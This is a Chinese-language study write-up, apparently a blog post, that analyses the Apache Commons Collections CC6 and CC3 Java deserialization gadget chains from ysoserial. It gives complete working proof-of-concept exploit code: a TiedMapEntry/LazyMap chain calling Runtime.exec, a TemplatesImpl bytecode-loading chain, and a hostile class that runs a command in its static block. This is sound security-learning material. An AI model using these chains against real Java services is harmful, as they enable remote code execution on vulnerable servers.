0 背景
白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)
实验环境
Java:1.8.0_65
IDEA:2022
commons-collecetions:3.2.1
1 CC6
ysoserial中的CC6调用链如下:最下面的还是CC1中的LazyMap.get()。transform那里和CC1是代码一样的,只不过ysoserial这里表述不同而已。CC6最大的特点是不受JDK版本影响,像CC1在1.8.0_71后就修该了AnnotationInvocationHandler.readObject(),里面不在调用setValue()。
1.1 分析调用链——编写POC
LazyMap.get()方法如下。
这里每个key只能使用一次,因为进入if逻辑后,就会调用map.put(),下次就不能用了。
1.1.1 TiedMapEntry.getValue()调用了LazyMap.get()
结合前述代码需要满足条件:TiedMapEntry.map = LazyMap实例 && TiedMapEntry.key not in LazyMap.map.keySet().
要满足第二个条件,需要确保TiedMapEntry的key是第一次出现。在这里,会消耗TiedMapEntry.key加入到LazyMap.map中。
1.1.2 TiedMapEntry.hashCode()调用了TiedMapEntry.getValue()
这里直接调用getValue()了,所以结合前述代码需要满足条件:TideMapEntry.map = LazyMap实例 && TideMapEntry.key not in LazyMap.map.keySet().
由于这两步都是TiedMapEntry被类调用,所以选择分析完hashCode后在把LazyMap装进TiedMapEntry。TideMapEntry可以直接new实例,并控制其内部的map和key。
代码如下:
1.1.3 HashMap.hash()调用了TiedMapEntry.hashCode()
需要满足条件:hash传入参数 key = TiedMapEntry。
1.1.4 HashMap.put()调用了HashMap.hash()
需要满足条件:put函数传入参数 key = TiedMapEntry。
put中key = TiedMapEntry就能满足hash中 key = TiedMapEntry。
从这里看,其实不用将TiedMapEntry装入HashMap中,只需要在执行HashMap.put(key, null)的时候,key=TiedMapEntry就可以。
1.1.5 HashSet.readObject()调用了HashMap.put()
从这里可以看到至少要满足:e=TiedMapEntry.
至于条件:HashSet.map=HashMap 不满足也可以,因为HashSet.map的类型本来就HashMap的。在这里只要确保e就行。
这里还有其他的代码逻辑可能导致走不到map.put,但由于已经到了readObject,我个人更喜欢直接开始正向调试readObject。
如何把e=TiedMapEntry呢?先看HashSet的构造函数和变量。HashSet可以通过反射或者add方法来赋值。此外,这里的e,初步猜测可以用add(TiedMapEntry),因为add()里面就调用了put,和readObject中调用的形式比较相近。
public class HashSet<E>
extends AbstractSet<E>
implements Set<E>, Cloneable, java.io.Serializable
{
static final long serialVersionUID = -5024744406713321676L;
private transient HashMap<E,Object> map;
private static final Object PRESENT = new Object();
public HashSet() {
map = new HashMap<>();
}
public HashSet(Collection<? extends E> c) {
map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));
addAll(c);
}
public HashSet(int initialCapacity, float loadFactor) {
map = new HashMap<>(initialCapacity, loadFactor);
}
public HashSet(int initialCapacity) {
map = new HashMap<>(initialCapacity);
}
HashSet(int initialCapacity, float loadFactor, boolean dummy) {
map = new LinkedHashMap<>(initialCapacity, loadFactor);
}
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
1.2 正向调试
根据上述分析,写了以下的POC。需要注意的是,在序列化时,hashSet.add调用过程中,会调用put,进而走完后序链条,把key消耗掉,需要将加入key去除。
成功走进逻辑。
1.3 另外一条CC6链——HashMap.readObject()
为什么HashMap.readObject也会触发调用链呢?这里和URLDNS很像,入口类那里和URLDNS这条链是一样。
GadGet:
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
看一下HashMap.readObject的代码,当把HashMap的key是tideMapEntry,那就能走完调用链条了。而刚好上面我写的POC中,HashMap的key就是tideMapEntry。所以这里会从不同的Source入口类提前触发hash()往后的调用链。
另一条链最终的POC如下:
package CCTest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] tranformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//
ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);
HashMap hashMap = new HashMap();
// // hashMap.put("value", "value");
Map<Object, Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
//
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "lazymapValue");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry, "tiedMapEntryValue");
lazymap.remove("lazymapValue");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
serialize(hashMap1);
unserilize("cc6-2.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6-2.bin"));
oos.writeObject(obj);
}
public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
2 CC3
CC1和CC6是通过Transformer来反射调用Runtime来执行命令,CC3则是通过Transformer去执行类加载的调用链,进而加载恶意类执行静态代码来执行命令(不需要Runtime反射调用)。所以,CC3的前半条链和CC1/CC6是一样的,之后Transformer后的有所不同。
java.lang.ClassLoader.defineClass()是类加载过程中真正将字节码转换为class源类的函数,该方法有多个重载,可直接定位到639行的defineClass。这个是protected的方法Transformer没办法执行该方法,因为 setAccessible 返回值是void,无法链式调用。
2.1 寻找类加载链
2.1.1 TemplatesImpl$TransletClassLoader.defineClass(b)方法方法调用了ClassLoader.defineClass(b)
这里的方法是默认访问权限,继续网上找。而且需要满足这里的 byte[] b可控,这里就是传入类字节的变量。TemplatesImp继承了Serializable接口。
2.1.2 TemplatesImpl.defineTransletClasses()调用了TemplatesImpl$TransletClassLoader.defineClass(b)
这里先需要满足条件:_bytecodes[i] = evilClassByteCode
但这里代码只进行了类加载,并没有初始化,这样是没办法执行static中的代码。同时该方法时private的。需要进一步往下找,找会创建实例的,创建实例的过程会一同初始化。
由于这里没有初始化,所以defineTransletClasses函数里的代码逻辑必须成功走完,不能报错,否则中断流程,就是加载了类,没办法执行代码。因此还需要满足其他条件,这里等调试的时候在分析吧。
2.1.3 TemplatesImpl.getTransletInstance()调用了emplatesImpl.defineTransletClasses()
只需要满足条件:_class == null && _name != 0
但还是private,继续找。
2.1.4 TemplatesImpl.newTransformer()调用了TemplatesImpl.getTransletInstance()
是一个public方法,并且这里不需要满足什么条件。所以类加载的调用链找到了。
综上目前需要满足条件:_bytecodes[i] = evilClassByteCode && _class == 0 && _name != 0
2.1.5 调试
可以先调用newTransformer看能不能成功加载,如果成功,再用Transformer执行也不迟。
先创建一个恶意类:
import java.io.IOException;
public class CC3Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException o){
throw new RuntimeException(o);
}
}
}
下面是TemplatesImpl中的变量,这里直接通过反射来编写,然后调试,从前面的分析,这里重点是在defineTransletClasses中的逻辑。
private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private int _transletIndex = -1;
private transient Map<String, Class<?>> _auxClasses = null;
private Properties _outputProperties;
private transient TransformerFactoryImpl _tfactory = null;
代码如下:
问题1:_tfactory空指针异常。但实际中在反序列中,这里并不会产生问题,这是一个transien变量。
问题1解决:给_tfactory赋一个TransformerFactoryImpl类就行
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
问题2:_auxClasses空指针和_transletIndex=-1。
问题2解决:其实从这里的代码逻辑上看,只要superClass.getName().equals(ABSTRACT_TRANSLET)成立,_transletIndex就会赋值为i(>0),这样就不会走_auxClasses的逻辑,下面<0的报错也不会走。superClass.getName().equals(ABSTRACT_TRANSLET)的意思就是让被加载类的父类等于ABSTRACT_TRANSLET常量.
2.2 完整POC
先观察TemplatesImpl.readObject(),只需要设置_name和_bytecodes就行。
代码:
package CCTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("CC3Calc.class"));
byte[][] codes = {evil};
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, codes);
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] tranformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);
HashMap hashMap = new HashMap();
hashMap.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserilize("cc3-1.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3-1.bin"));
oos.writeObject(obj);
}
public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
CC3后半段类加载链:
ChainedTransformer.transform():
InvocationTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader.defineClass()
ClassLoader.defineClass()
2.3 ysoseril中的CC3多了两步
ChainedTransformer.transform():
InstantiateTransformer.transform()
getConstructor(iParamTypes).newInstance(iArgs)
TrAXFilter.TrAXFilter(template)
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader.defineClass()
ClassLoader.defineClass()
(1)TrAXFilter类的有参构函数中,会调用newTransformer()
(2)InstantiateTransformer.transform(input)中,会反射通过Constructor创建input的实例。
所以这里还要多满足两个条件:input=TrAXFilter && templates=TemplatesImpl && iParamTypes=TemplatesImpl.class && iArgs=TemplatesImpl实例。
最终POC:在上面的POC上修改Tranformer[]就行。